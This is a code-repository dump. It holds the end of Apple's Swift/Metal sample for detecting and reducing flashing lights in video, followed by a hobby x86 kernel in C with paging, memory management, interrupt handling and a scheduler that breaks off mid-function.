(options["displayEDRFactor"] as? NSNumber ?? NSNumber(value: 1)).floatValue bufferConstants.fps = (options["userFPS"] as? NSNumber ?? NSNumber(value: fps)).floatValue guard let commandQueue else { return } let semaphore = DispatchSemaphore(value: 0) guard let commandBuffer = commandQueue.makeCommandBuffer() else { return } commandBuffer.addCompletedHandler({ [weak self] command in semaphore.signal() guard let self = self else { return } if self.bufferConstants.bDebug { if let validationCallback = self.validationCallback, let ptr = self.bufferDataDebug?.contents() { let apl = ptr.advanced(by: MemoryLayout<Float>.stride * Int(DEVAR_APL)).bindMemory(to: Float.self, capacity: 1).pointee let risk = ptr.advanced(by: MemoryLayout<Float>.stride * Int(DEVAR_Risk)).bindMemory(to: Float.self, capacity: 1).pointee let mitigate = ptr.advanced(by: MemoryLayout<Float>.stride * Int(DEVAR_MitigateCF)).bindMemory(to: Float.self, capacity: 1).pointee validationCallback(apl / 1000.0, risk / 100.0, mitigate) } } }) processFrame(commandBuffer, sourceSurface, destinationSurface) commandBuffer.commit() semaphore.wait() } } <file_sep>/README.md # Detection of Flashing Lights in Video Content Purveyors of media content might want to detect the amount of flashing lights in video content in order to inform consumers of the media in which risk of flashing lights occurs. This project provides a reference implementation of the algorithm for calculating risk of flashing lights in video content and reducing the flashing, according to Video flashing reduction technical summary ([EPUB](https://developer.apple.com/accessibility/downloads/Video-Flashing-Reduction-12.epub)) ([PDF](https://developer.apple.com/accessibility/downloads/Video-Flashing-Reduction-12.pdf)): - A Swift implementation of the algorithm is available in `VideoFlashingReduction_Xcode`. - A MATLAB implementation of the algorithm is available in `VideoFlashingReduction_MATLAB`. - A Mathematica implementation of the algorithm is available in `VideoFlashingReduction_Mathematica`. **Important**: This sample code project includes a sample video that contains sequences of flashing effects. <file_sep>/VideoFlashingReduction_MATLAB/README.md # Detection of Flashing Lights in Video Content (MATLAB) This folder contains the MATLAB implementation of the Video Flashing Reduction algorithm. This implementation accepts a video file (`.mp4`) as input, and outputs a a mitigated video and a plot of analysis results. A default sample video is available in `TestContent/TestVideo.mp4`. To run the project on your own video content, specify the input video you want to analyze. ## Run the MATLAB script 1. Open `RunVideoFlashingMetric.m` in MATLAB. 2. Set the `inputVideoFilename` variable to the path of the video you want to analyze. The default video is `TestContent/TestVideo.mp4`. 3. Set the `lumaScaler` variable to the peak brightness of your display in nits. The default value is `100`. 4. Set `area` variable to the area of your display in degrees of visual angle (for example, iPhone = `250`, Mac or larger = `1265.625`). The default value is `1265.625`. 5. Run the script. The script writes a mitigated output video to the same folder as your input video, and a plot of results appears. ## Interpret the plot output The output in the plot represents these values: - APL (Average Pixel Level) [0-1] — The proportion of bright pixels in an image. - Risk [0-100] — The risk that the current frame is flashing based on the recent sequence of frames. <file_sep>/VideoFlashingReduction_Xcode/VideoFlashingReduction/SharedBridgeHeader.h // // SharedBridgeHeader.h // VideoFlashingReduction // #ifndef SharedBridgeHeader_h #define SharedBridgeHeader_h #include <os/log.h> extern os_log_t PSELog; #endif /* SharedBridgeHeader_h */ <file_sep>/VideoFlashingReduction_Xcode/VideoFlashingReduction/UMFKernels.swift // // UMFKernels.swift // VideoFlashingReduction // import Foundation import os @_implementationOnly import VideoFlashingReduction_Bridge_Internal class UMFKernels { private let maxIndex1 = 3 private let maxIndex2 = 5 private let maxIndex3 = 7 private let maxIndex4 = 10 public var UMFKernels: [[[[Double]]]] init() { UMFKernels = [[[[Double]]]](repeating: [[[Double]]](repeating: [[Double]](repeating: [Double](repeating: 0, count: maxIndex4), count: maxIndex3), count: maxIndex2), count: maxIndex1) initUMFKernels() } func initUMFKernels() { guard let filePath = Bundle(for: VideoProcessor.self).path(forResource: "UMFKernel-Data", ofType: "txt") else { return } var stringData: NSString? do { stringData = try NSString(contentsOfFile: filePath, encoding: NSASCIIStringEncoding) } catch { print("Error getting file: %@", error.localizedDescription) } guard let stringData = stringData else { return } let array = stringData.components(separatedBy: "\n") var index1 = 0, index2 = 0, index3 = 0 for line in array { guard let lineString = line as String? else { continue } UMFKernels[index1][index2][index3] = lineString.components(separatedBy: ",").map({ return Double($0.trimmingCharacters(in: .whitespacesAndNewlines)) ?? 0 }) index3 = index3 + 1 if index3 >= maxIndex3 { index3 = 0 index2 = index2 + 1 } if index2 >= maxIndex2 { index2 = 0 index1 = index1 + 1 } if index1 >= maxIndex1 { index1 = 0 } } } } <file_sep>/VideoFlashingReduction_Xcode/VideoFlashingReduction/README.md # Detection of Flashing Lights in Video Content (Xcode) This folder contains the Xcode implementation of the Video Flashing Reduction algorithm. This implementation accepts a video file (`.mp4`) as input, and outputs a frame-by-frame analysis of the risk of flashing lights in a particular frame of that video. A default sample video is available in `Resources/movie.mp4`. To run the project on your own video content, replace the sample video with the video you want to analyze. ## Run the project in Xcode 1. Open `VideoFlashingReduction.xcodeproj` in Xcode. 2. In the Scheme menu, choose `detectflashing`. 3. Choose My Mac as the run destination. 4. Press Command-R to run the project. The frame-by-frame analysis outputs to the logging area in Xcode. ## Run the project in the command line In the Terminal, run `detectflashing` and provide the `.mp4` file you want to analyze as input: ``` detectflashing movie.mp4 ``` The frame-by-frame analysis outputs to the command line. ## Interpret the analysis output The output from the analysis is: - APL (Average Pixel Level) [0-1] — The proportion of bright pixels in an image. - Risk [0-1] — The risk that the current frame is flashing based on the recent sequence of frames. - Mitigation [0-1] — How much mitigation will be applied to the out surface to reduce risk. <file_sep>/VideoFlashingReduction_Xcode/VideoFlashingReduction/main.swift // // main.swift // VideoFlashingReduction // import Foundation import VideoFlashingReduction import AVFoundation import CoreVideo print("Flashing Lights Detection Sample") let detection = VideoFlashingReduction() detection.processVideo() while detection.isPlaying { CFRunLoopRunInMode(.defaultMode, 1.0, false) } print("Finished") public class VideoFlashingReduction { var item: AVPlayerItem? var videoPlayer: AVPlayer? var detection: VideoProcessor var link: Timer? public var isPlaying: Bool = false init() { detection = VideoProcessor() detection.debugMode = true } func processVideo() { if let bundle = Bundle(identifier: "apple.VideoFlashingReduction") { if let url = bundle.url(forResource: "Resources/movie", withExtension: "mp4") { item = AVPlayerItem(asset: AVAsset(url: url)) } } guard let item else { return } videoPlayer = AVPlayer(playerItem: item) guard let videoPlayer else { return } let videoOutput = AVPlayerItemVideoOutput(pixelBufferAttributes: [String(kCVPixelBufferPixelFormatTypeKey): NSNumber(value: kCVPixelFormatType_32BGRA)]) item.add(videoOutput) item.outputs[0].suppressesPlayerRendering = true var frame = 1 detection.validationCallback = { (apl, risk, mitigation) in print("\(frame): Risk: \(risk), Mitigation: \(mitigation), APL: \(apl)") frame += 1 } link = Timer.scheduledTimer(withTimeInterval: 1.0 / 60.0, repeats: true, block: { [weak self] timer in self?.readBuffer(timer) }) isPlaying = true videoPlayer.play() } @objc func readBuffer(_ timer: Timer?) { if videoPlayer?.timeControlStatus != .playing { if videoPlayer?.timeControlStatus == .paused { isPlaying = false } return } guard let videoPlayer, let item else { isPlaying = false return } guard let avOutput = item.outputs[0] as? AVPlayerItemVideoOutput else { return } let itemTime = videoPlayer.currentTime() if avOutput.hasNewPixelBuffer(forItemTime: itemTime) { var outItemTimeForDisplay = CMTime() let pixelBuffer = avOutput.copyPixelBuffer(forItemTime: itemTime, itemTimeForDisplay: &outItemTimeForDisplay) guard let pixelBuffer = pixelBuffer else { isPlaying = false return } guard let surface = CVPixelBufferGetIOSurface(pixelBuffer)?.takeUnretainedValue() else { isPlaying = false return } guard let outSurface = IOSurfaceCreate([kIOSurfaceWidth: NSNumber(value: CVPixelBufferGetWidth(pixelBuffer)), kIOSurfaceHeight: NSNumber(value: CVPixelBufferGetHeight(pixelBuffer)), kIOSurfacePixelFormat: NSNumber(value: kCVPixelFormatType_32BGRA), kIOSurfaceBytesPerRow: NSNumber(value: CVPixelBufferGetWidth(pixelBuffer) * 4), kIOSurfaceBytesPerElement: NSNumber(value: 4)] as CFDictionary) else { return } detection.processSurface(sourceSurface: surface, timestamp: CMTimeGetSeconds(outItemTimeForDisplay), destinationSurface: outSurface, options: [ "displayMaxNits": 810, "sourceSurfaceEDR": 1.0, "displayEDRFactor": 1.0, "userFPS": 24.0 ]) } } }
b7fd4034073b517caecf1aa8aecb484c4015082f
[ "Swift", "C", "Markdown" ]
7
Swift
apple/VideoFlashingReduction
7357d2f347c8659cc5ab4804b1338cfb0e95f362
f655a810c15cab397efb2e88e895f86384c41863
refs/heads/master
<repo_name>tkausl/os<file_sep>/pmm.h #ifndef PMM_H #define PMM_H #include "multiboot.h" #include "types.h" /* * Initializes the physical memory map * First it frees any available memory, * then it marks the whole kernel as used again */ void pmm_init(multiboot_info_t* mbt); /* * Marks a physical page as used */ void pmm_set_used(uint32_t addr); /* * Allocates a page of physical memory */ uint32_t pmm_first_free(); /* * Marks a physical page as free */ void pmm_free(uint32_t addr); /* * Checks if a particular physical page is free */ bool is_free(uint32_t addr); #define ADDR_TO_PAGE(var) (var/4096) #define PAGE_TO_ADDR(var) (var*4096) #endif<file_sep>/vmm.c #include "vmm.h" #include "pmm.h" #include "debug.h" #include "memory.h" #include "terminal.h" #define LABEL(label) ({extern const void label; (uint32_t)&label;}) page_directory_t* current_directory; page_directory_t* kernel_directory; /* int __builtin_popcount (unsigned int x); uint32_t NumberOfSetBits(uint32_t i) { i = i - ((i >> 1) & 0x55555555); i = (i & 0x33333333) + ((i >> 2) & 0x33333333); return (((i + (i >> 4)) & 0x0F0F0F0F) * 0x01010101) >> 24; }*/ #define ARR_OFFSET(var) (var/32) #define BIT_OFFSET(var) (var%32) #define FOR_EACH_BIT(varname) for(uint32_t varname = 0; varname < 32; ++varname) #define BIT_TO_PAGE(arroff, bitoff) ((arroff) * 32 + (bitoff)) #define IS_BIT_SET(var, bit) ((var) & 1<<(bit)) #define UNSET_BIT(var, bit) var = var & ~(1<<bit) #define SET_BIT(var, bit) var = var | (1<<bit); #define ALL_USED(var) (var == 0x00000000) uint32_t temp_bitset[32]; // 1024 bits for page 1023 (id 1022) for temporary mapped pages /* 1024 = 1<<10 4096 = 1<<12 One page = 4096 bytes or 0x1000 One page table = 1024 entries of 4096 bytes = 4194304 bytes or 0x40 0000 Temp-mapped memory at 0xFF80 0000 to 0xFFC0 0000 */ uint32_t temp_map(uint32_t physical) { for(uint32_t i = 0; i < 32; ++i) { if(!ALL_USED(temp_bitset[i])) { FOR_EACH_BIT(j) { if ( IS_BIT_SET(temp_bitset[i], j) ) { map_frame(get_page((BIT_TO_PAGE(i, j)<<12) + 0xFF800000, 0, kernel_directory), physical>>12, 0, 0); UNSET_BIT(temp_bitset[i], j); return (BIT_TO_PAGE(i, j)<<12) + 0xFF800000; } } } } return 0; } uint32_t temp_unmap(uint32_t virtual) { unmap_frame(get_page(virtual, 0, kernel_directory)); asm volatile ("invlpg (%0)" ::"r"(virtual) : "memory"); } uint32_t find_physical_addr(page_directory_t *dir, uint32_t virtual) { uint32_t id1 = virtual >> 22; uint32_t id2 = (virtual >> 12) & 0x3FF; return ((dir->tables[id1]->pages[id2].frame) << 12) + (virtual & 0xFFF); } page_t *get_page_boot(uint32_t address, int make, page_directory_t *dir); void initialize_paging() { memset(temp_bitset, 0xFF, sizeof(temp_bitset)); kernel_directory = (page_directory_t*)LABEL(kernel_page_directory); memset(kernel_directory, 0, sizeof(*kernel_directory)); kernel_directory->physicalAddr = ((uint32_t)&kernel_directory->tablesPhysical) - KERNEL_VIRTUAL_BASE; uint32_t kernel_pages = LABEL(kernel_page_tables); //Enough room for 256 pages memset((void*)kernel_pages, 0, 256 * PAGE_SIZE); for(uint32_t i = 0; i < 255; ++i) { // 768 to 1022 mapped identity, last one mapped to itself kernel_directory->tables[i + 768] = (page_table_t*)(kernel_pages + i * sizeof(page_table_t)); kernel_directory->tablesPhysical[i + 768] = ((kernel_pages + i * sizeof(page_table_t)) - KERNEL_VIRTUAL_BASE) | 0x7; } kernel_directory->tables[1023] = (page_table_t*)(kernel_directory); kernel_directory->tablesPhysical[1023] = kernel_directory->physicalAddr | 0x7; uint32_t KernelStartAddr = LABEL(KernelStart); printf("Kernel Start is at 0x%x\n", KernelStartAddr); for(uint32_t i = KERNEL_VIRTUAL_BASE; i < (LABEL(KernelEnd) + MB(4)); i += 0x1000) { map_frame(get_page(i, false, kernel_directory), (i-KERNEL_VIRTUAL_BASE)/4096, 0, 0); pmm_set_used((i-KERNEL_VIRTUAL_BASE)/4096); } printf("Directory struct is at V0x%x\n", kernel_directory); printf("Physical is at: V0x%x\n", &kernel_directory->tablesPhysical); switch_page_directory(kernel_directory); } void switch_page_directory(page_directory_t *dir) { current_directory = dir; asm volatile ("mov %0, %%cr3" :: "r"(dir->physicalAddr)); } page_t *get_page(uint32_t address, int make, page_directory_t *dir) { address /= 0x1000; uint32_t table_id = address / 1024; //uint32_t table_index = address%1024; if (dir->tables[table_id]) return &dir->tables[table_id]->pages[address%1024]; if(!make) { printf("Needed a new page-table but make was false\n"); return 0; } printf("FrameTable not available. Allocating new one...\n"); uint32_t frame = pmm_first_free(); pmm_set_used(frame); frame <<= 12; dir->tablesPhysical[table_id] = frame | 0x7; dir->tables[table_id] = (page_table_t*)(((uint32_t)0xFFC00000) + (0x1000 * table_id)); memset(dir->tables[table_id], 0, 0x1000); return &dir->tables[table_id]->pages[address%1024]; } void alloc_frame(page_t *page, int is_kernel, int is_writeable) { if(page->frame) return; //we already have a frame uint32_t frame_id = pmm_first_free(); ASSERT(frame_id); pmm_set_used(frame_id); map_frame(page, frame_id, is_kernel, is_writeable); } void map_frame(page_t *page, uint32_t frame_id, int is_kernel, int is_writeable) { page->present = 1; page->rw = (is_writeable == 1); page->user = (is_kernel == 0); page->frame = frame_id; } void free_frame(page_t *page) { if(!page->frame) return; //we have no frame pmm_free(page->frame); unmap_frame(page); } void unmap_frame(page_t *page) { page->frame = 0; page->present = 0; } typedef struct { union { struct { uint32_t present : 1; // 1 uint32_t write : 1; // 2 uint32_t user : 1; // 3 uint32_t ignore : 9; // 12 uint32_t frame : 20; // 32 }; uint32_t whole; }; } page_directory_entry; typedef struct { union { struct { uint32_t present : 1; // 1 uint32_t write : 1; // 2 uint32_t user : 1; // 3 uint32_t ignore : 9; // 12 uint32_t frame : 20; // 32 }; uint32_t whole; }; } page_table_entry; typedef struct { union { struct { uint32_t present : 1; // 1 uint32_t write : 1; // 2 uint32_t user : 1; // 3 uint32_t writethrough : 1; // 4 uint32_t cache_disabled : 1; // 5 uint32_t accessed : 1; // 6 uint32_t dirty : 1; // 7 uint32_t ignore0 : 1; // 8 uint32_t global : 1; // 9 uint32_t avail : 3; // 12 uint32_t frame : 20; // 32 }; uint32_t val; }; } test_page_table_entry; typedef struct { union { struct { uint32_t present : 1; // 1 uint32_t write : 1; // 2 uint32_t user : 1; // 3 uint32_t writethrough : 1; // 4 uint32_t cache_disabled : 1; // 5 uint32_t accessed : 1; // 6 uint32_t ignore0 : 1; // 7 uint32_t big_pages : 1; // 8 uint32_t ignore1 : 1; // 9 uint32_t avail : 3; // 12 uint32_t frame : 20; // 32 }; uint32_t val; }; } test_page_directory_entry; typedef struct { test_page_table_entry page[1024]; } test_page_table; typedef struct { union { test_page_table table[1023]; test_page_table_entry [1024 * 1023]; }; test_page_directory_entry directory[1023]; uint32_t ignore; } test_page_directory; test_page_directory* global_dir = (test_page_directory*)0xFFC00000; page_directory_entry* get_page_directory() { return (page_directory_entry*)0xFFFFF000; } page_table_entry* get_page_table(uint32_t id) { return (page_table_entry*)(0xFFC00000 + 0x1000 * id); } uint32_t physical_address(uint32_t virtual) { uint32_t pdindex = (uint32_t)virtual >> 22; uint32_t ptindex = (uint32_t)virtual >> 12 & 0x03FF; /* page_directory_entry* pd = get_page_directory(); page_table_entry* pt = get_page_table(pdindex); if(!pd[pdindex].frame) return 0; if(!pt[ptindex].frame) return 0; return pt[ptindex].frame << 12;*/ if(!global_dir->directory[pdindex].frame) return 0; if(!global_dir->table[pdindex].page[ptindex].frame) return 0; return global_dir->table[pdindex].page[ptindex].frame << 12; } page_directory_t* copy_directory() { page_directory_t* dir = kmalloc(sizeof(page_directory_t), PAGE_SIZE); dir->physicalAddr = physical_address((uint32_t)dir->tablesPhysical); dir->tables[1023] = (page_table_t*)(dir); dir->tablesPhysical[1023] = dir->physicalAddr | 0x7; page_directory_entry* origi = get_page_directory(); for(uint32_t i = 768; i < 1023; i++) { //Kernel pages dir->tablesPhysical[i] = origi[i].whole; } uint32_t num = 0; uint32_t numt = 0; for(uint32_t i = 0; i < 768; i++) { if(origi[i].frame) { numt++; page_table_entry* origit = get_page_table(i); uint32_t table_frame = pmm_alloc_first_free(); uint32_t* table_ptr = (uint32_t*)temp_map(table_frame * 4096); memset(table_ptr, 0, 4096); for(uint32_t j = 0; j < 1024; j++) { if(origit[j].frame) { uint32_t data_frame = pmm_alloc_first_free(); uint32_t data_ptr = temp_map(data_frame * 4096); uint32_t virtual = (i << 22) | (j << 12); memcpy((void*)data_ptr, (void*)virtual, 4096); temp_unmap(data_ptr); table_ptr[j] = (data_frame * 4096) | 0x7; num++; } } temp_unmap(table_ptr); //dir->tables[i] = orig->tables[i]; dir->tablesPhysical[i] = (table_frame * 4096) | 0x7; } } printf("Copied %d pages over from %d tables\n", num, numt); return dir; } page_directory_t* new_directory() { page_directory_t* dir = kmalloc(sizeof(page_directory_t), PAGE_SIZE); memcpy(dir, kernel_directory, sizeof(page_directory_t)); dir->physicalAddr = find_physical_addr(dir, (uint32_t)dir->tablesPhysical); dir->tables[1023] = (page_table_t*)(dir); dir->tablesPhysical[1023] = dir->physicalAddr | 0x7; return dir; } void vmm_map_range(uint32_t begin, uint32_t end, bool kernel, bool write) { begin = ALIGN_DOWN(begin, PAGE_SIZE); end = ALIGN(end, PAGE_SIZE); while(begin < end) { alloc_frame(get_page(begin, 1, current_directory), kernel, write); begin += PAGE_SIZE; } }<file_sep>/memory.h #include "types.h" #include "multiboot.h" #define KB(val) (val * 1024) #define MB(val) (val * 1024 * 1024) #define GB(val) (val * 1024 * 1024 * 1024) #define PAGE_SIZE 4096 #define ALIGN(val, alignment) ((val + alignment - 1) & ~(alignment-1)) #define ALIGN_DOWN(val, alignment) (val & ~(alignment - 1)) #define IS_ALIGNED(val, alignment) ((val & (alignment-1)) == 0) #define PAGE_ALIGNED(val) ALIGN(val, PAGE_SIZE) #define IS_PAGE_ALIGNED(val) IS_ALIGNED(val, PAGE_SIZE) #define IS_4B_ALIGNED(val) IS_ALIGNED(val, 4) #define ZERO_MEM(mem) memset(mem, 0, sizeof(mem)) #define KERNEL_VIRTUAL_BASE 0xC0000000 void memset(void* ptr, uint8_t b, uint32_t size); void memcpy(void* dest, void* src, uint32_t size); typedef struct { uint32_t start; uint32_t allocated_end; uint32_t max_end; uint32_t pos; } heap_t; void init_kernel_heap(); /* * Allocate some space in kernel heap */ void* kmalloc(uint32_t space, uint32_t alignment);<file_sep>/helloworld.c #include "types.h" void exit(uint32_t exitcode) { asm volatile ("xor %%eax, %%eax\n" "int $0x80" :: "c"(exitcode) : "eax"); } uint32_t fork() { uint32_t pid; asm volatile ("int $0x80" :"=b"(pid):"a"(1)); return pid; } void sleep(uint32_t ms) { ms /= 10; asm volatile ("int $0x80" ::"a"(2), "c"(ms)); } void itoa (char *buf, int base, int d) { char *p = buf; char *p1, *p2; unsigned long ud = d; int divisor = 10; /* If %d is specified and D is minus, put `-' in the head. */ if (base == 'd' && d < 0) { *p++ = '-'; buf++; ud = -d; } else if (base == 'x') divisor = 16; /* Divide UD by DIVISOR until UD == 0. */ do { int remainder = ud % divisor; *p++ = (remainder < 10) ? remainder + '0' : remainder + 'a' - 10; } while (ud /= divisor); /* Terminate BUF. */ *p = 0; /* Reverse BUF. */ p1 = buf; p2 = p - 1; while (p1 < p2) { char tmp = *p1; *p1 = *p2; *p2 = tmp; p1++; p2--; } } void printf (const char *format, ...) { char **arg = (char **) &format; int c; char outbuf[255]; int pos = 0; char buf[20]; arg++; while ((c = *format++) != 0) { if (c != '%') outbuf[pos++] = c; else { char *p; c = *format++; switch (c) { case 'd': case 'u': case 'x': itoa (buf, c, *((int *) arg++)); p = buf; goto string; break; case 's': p = *arg++; if (! p) p = "(null)"; string: while (*p) outbuf[pos++] = *p++; break; default: outbuf[pos++] = (*((int *) arg++)); break; } } } outbuf[pos] = 0; asm volatile ("int $0x80" :: "a"(3), "c"(outbuf)); } int main() { if(fork()) return 0; uint32_t pid = fork(); volatile uint32_t seconds = 0; //printnum(99999); while(true) { sleep(1000); printf("I am %s and i am %d seconds in\n", (pid==0?"the child":"the parent"), ++seconds); //printnum(++seconds); } return 0; }<file_sep>/terminal.c #include "terminal.h" static inline void outb(uint16_t port, uint8_t val) { asm volatile ( "outb %0, %1" : : "a"(val), "Nd"(port) ); /* TODO: Is it wrong to use 'N' for the port? It's not a 8-bit constant. */ /* TODO: Should %1 be %w1? */ } static inline uint8_t inb(uint16_t port) { uint8_t ret; asm volatile ( "inb %1, %0" : "=a"(ret) : "Nd"(port) ); /* TODO: Is it wrong to use 'N' for the port? It's not a 8-bit constant. */ /* TODO: Should %1 be %w1? */ return ret; } size_t strlen(const char* str) { size_t ret = 0; while(str[ret] != 0) ret++; return ret; } size_t terminal_row; size_t terminal_column; uint8_t terminal_color; uint16_t* terminal_buffer; void terminal_initialize() { terminal_row = 0; terminal_column = 0; terminal_color = make_color(COLOR_LIGHT_GREY, COLOR_BLACK); terminal_buffer = (uint16_t*) 0xC00B8000; for(size_t y = 0; y < VGA_HEIGHT; y++) { for(size_t x = 0; x < VGA_WIDTH; x++) { const size_t index = y * VGA_WIDTH + x; terminal_buffer[index] = make_vgaentry(' ', terminal_color); } } } void terminal_setcolor(uint8_t color) { terminal_color = color; } void terminal_putentryat(char c, uint8_t color, size_t x, size_t y) { const size_t index = y * VGA_WIDTH + x; terminal_buffer[index] = make_vgaentry(c, color); } void terminal_break() { terminal_column = 0; if(++terminal_row == VGA_HEIGHT) { --terminal_row; memcpy(terminal_buffer, terminal_buffer + VGA_WIDTH, (VGA_WIDTH * (VGA_HEIGHT - 1)) * 2); memset(terminal_buffer + (VGA_WIDTH * (VGA_HEIGHT-1)), 0, VGA_WIDTH * 2); } } void terminal_advance() { if(++terminal_column == VGA_WIDTH) { terminal_break(); } } void terminal_tab() { size_t adv = TAB_SIZE - (terminal_column % 4); terminal_column += adv; } void terminal_putchar(char c) { switch(c) { case '\n': terminal_break(); break; case '\t': terminal_tab(); break; default: terminal_putentryat(c, terminal_color, terminal_column, terminal_row); terminal_advance(); } } void itoa (char *buf, int base, int d) { char *p = buf; char *p1, *p2; unsigned long ud = d; int divisor = 10; /* If %d is specified and D is minus, put `-' in the head. */ if (base == 'd' && d < 0) { *p++ = '-'; buf++; ud = -d; } else if (base == 'x') divisor = 16; /* Divide UD by DIVISOR until UD == 0. */ do { int remainder = ud % divisor; *p++ = (remainder < 10) ? remainder + '0' : remainder + 'a' - 10; } while (ud /= divisor); /* Terminate BUF. */ *p = 0; /* Reverse BUF. */ p1 = buf; p2 = p - 1; while (p1 < p2) { char tmp = *p1; *p1 = *p2; *p2 = tmp; p1++; p2--; } } void printf (const char *format, ...) { char **arg = (char **) &format; int c; char buf[20]; arg++; while ((c = *format++) != 0) { if (c != '%') terminal_putchar (c); else { char *p; c = *format++; switch (c) { case 'd': case 'u': case 'x': itoa (buf, c, *((int *) arg++)); p = buf; goto string; break; case 's': p = *arg++; if (! p) p = "(null)"; string: while (*p) terminal_putchar (*p++); break; default: terminal_putchar (*((int *) arg++)); break; } } } } void update_cursor(int row, int col) { unsigned short position=(row*80) + col; // cursor LOW port to vga INDEX register outb(0x3D4, 0x0F); outb(0x3D5, (unsigned char)(position&0xFF)); // cursor HIGH port to vga INDEX register outb(0x3D4, 0x0E); outb(0x3D5, (unsigned char )((position>>8)&0xFF)); } void convert(unsigned long num, char* str) { int l = 0; while(num > 1024) { num /= 1024; l++; } itoa(str, 10, num); int pos = strlen(str); str[pos++] = ' '; str[pos++] = "BKMGT"[l]; str[pos++] = 0; }<file_sep>/types.h #ifndef TYPES_H #define TYPES_H #if !defined(__cplusplus) #include <stdbool.h> #endif #include <stddef.h> #include <stdint.h> #if defined(__linux__) #error "No Cross Compiler" #endif #if !defined(__i386__) #error "Not an ix86-elf compiler" #endif #define UNUSED(var) ((void)var) #endif<file_sep>/kernel.c #include "types.h" #include "debug.h" static inline void outb(uint16_t port, uint8_t val) { asm volatile ( "outb %0, %1" : : "a"(val), "Nd"(port) ); /* TODO: Is it wrong to use 'N' for the port? It's not a 8-bit constant. */ /* TODO: Should %1 be %w1? */ } static inline uint8_t inb(uint16_t port) { uint8_t ret; asm volatile ( "inb %1, %0" : "=a"(ret) : "Nd"(port) ); /* TODO: Is it wrong to use 'N' for the port? It's not a 8-bit constant. */ /* TODO: Should %1 be %w1? */ return ret; } #include "multiboot.h" #include "memory.h" #include "gdt.c" #include "pmm.h" #include "vmm.h" #include "terminal.h" #include "scheduler.h" #include "elf.h" typedef struct registers { u32int ds; // Data segment selector u32int edi, esi, ebp, esp, ebx, edx, ecx, eax; // Pushed by pusha. u32int int_no, err_code; // Interrupt number and error code (if applicable) u32int eip, cs, eflags, useresp, ss; // Pushed by the processor automatically. } registers_t; extern void jump_to_user(); void kernel_main(uint32_t mbt_physical_address, unsigned int magic) { UNUSED(magic); /* * State when this function is called: * We have a unknown section table set up by grub. We have a 16K stack set up by our boot assembler code * We have paging set up, 4MB maps enabled, a single 4MB page maps 3GB to 0 (exactly 4MB space to use.) * Our Kernel should reside at exactly 3GB + 1MB (Physical: 1MB) * * What we have to do now is, take all the data out of the GRUB-structures that we need but while we do this we *CAN'T* allocate space for them, * so we need to use fixed variables and arrays, which will, of course, reside in our kernels data space */ terminal_initialize(); // Fix various pointers multiboot_info_t* mbt = (multiboot_info_t*)(mbt_physical_address + KERNEL_VIRTUAL_BASE); mbt->mods_addr += KERNEL_VIRTUAL_BASE; mbt->mmap_addr += KERNEL_VIRTUAL_BASE; ASSERT(mbt->mods_count == 1); //Shouldn't happen // They both don't allocate mem init_gdt(); init_idt(); //Init memory map pmm_init(mbt); initialize_paging(); init_kernel_heap(); multiboot_module_t* modlist = (multiboot_module_t*)mbt->mods_addr; void* initrd = kmalloc(modlist->mod_end - modlist->mod_start, 4); memcpy(initrd, (void*)(modlist->mod_start + KERNEL_VIRTUAL_BASE), modlist->mod_end - modlist->mod_start); page_directory_t* p1d = new_directory(); switch_page_directory(p1d); uint32_t initrd_entry = elf_load_executable(initrd); printf("Initrd Entry is at 0x%x\n", initrd_entry); init_sleep_forever(); process_t* p1 = new_process(p1d, initrd_entry, 0); processes = p1; uint32_t divisor = 1193180 / 100; outb(0x43, 0x36); //Enable with 0x36 // Divisor has to be sent byte-wise, so split here into upper/lower bytes. u8int l = (u8int)(divisor & 0xFF); u8int h = (u8int)( (divisor>>8) & 0xFF ); // Send the frequency divisor. outb(0x40, l); outb(0x40, h); /* outb(0x21,0xfd); outb(0xa1,0xff);*/ BOCHS_BREAK; asm volatile ("int $0x81"); //switch_page_directory(initrd_directory); printf("Hello, kernel World!\nThis is a little test!\n"); update_cursor(10, 10); BOCHS_BREAK; asm volatile ("int $0x20"); asm volatile ("int $0x80"); jump_to_user(); asm volatile ("int $0x80"); printf("First Interrupt end!!\n"); asm volatile ("int $0x80"); printf("Second Interrupt end!!\n"); for(;;); /* outb(0x21,0xfd); outb(0xa1,0xff); */ } void user_func() { printf("Hello from User-Mode"); } void isr_handler(registers_t* regs) { switch(regs->int_no) { case 0xE: {//Page Fault uint32_t pfaddr; asm volatile ("mov %%cr2, %0" : "=r"(pfaddr)); printf("PageFault trying to access address 0x%x", pfaddr); if(regs->err_code & 0x1) { printf(" (page-protection violation)"); } else { printf(" (page not present)"); } if(regs->err_code & 0x2) { printf(" (write)"); } else { printf(" (read)"); } if(regs->err_code & 0x4) { printf(" (USER)"); } else { printf(" (KERNEL)"); } if(regs->err_code & 0x10) { printf(" (instruction-fetch)"); } else { printf(" (no instruction-fetch)"); } printf("\n"); } break; default: printf("Received Interrupt: %x\n", regs->int_no); } if(regs->cs == 0x08) { printf("PANIC! THIS INTERRUPT CAME FROM KERNEL-CODE\n", regs->int_no); asm volatile ("jt: cli\nhlt\n jmp jt"); } } void irq_handler(registers_t* regs){ printf("Got HARDWARE-Interrupt %x\n", regs->int_no); if(regs->int_no == 1) { //keyboard!! uint8_t b = inb(0x60); uint8_t b2 = inb(0x60); printf("Got Scancode %x, %x\n", b, b2); } if (regs->int_no >= 8) { outb(0xA0, 0x20); } outb(0x20, 0x20); } extern process_t* current; void usr_int(cpu_state_t* regs) { switch(regs->eax) { case 0: //Exit process_exit(regs); break; case 1: //fork process_fork(regs); break; case 2: process_sleep(regs); break; case 3: printf("%s", regs->ecx); break; default: printf("Unknown User-Interrupt %d\n", regs->eax); } }<file_sep>/scheduler.c #include "scheduler.h" #include "vmm.h" #include "debug.h" #include "gdt.h" process_t* current = 0; process_t* processes = 0; process_t* sleep_forever_process; uint32_t next_pid = 1; cpu_state_t* schedule(); static inline void outb(uint16_t port, uint8_t val) { asm volatile ( "outb %0, %1" : : "a"(val), "Nd"(port) ); /* TODO: Is it wrong to use 'N' for the port? It's not a 8-bit constant. */ /* TODO: Should %1 be %w1? */ } cpu_state_t* timer_int(cpu_state_t* state) { //Ticking... process_t* tmp = processes; while(tmp) { if(tmp->state == STATE_SLEEPING) { tmp->sleeping--; if(tmp->sleeping == 0) { tmp->state = STATE_RUNNABLE; } } tmp = tmp->next; } cpu_state_t* newstate = schedule(state); if(state != newstate) { switch_page_directory(current->page_directory); tss_table.esp0 = (uint32_t)&current->kernel_stack[1024]; } outb(0x20, 0x20); return newstate; } cpu_state_t* process_yield(cpu_state_t* state) { cpu_state_t* newstate = schedule(state); if(state != newstate) { switch_page_directory(current->page_directory); tss_table.esp0 = 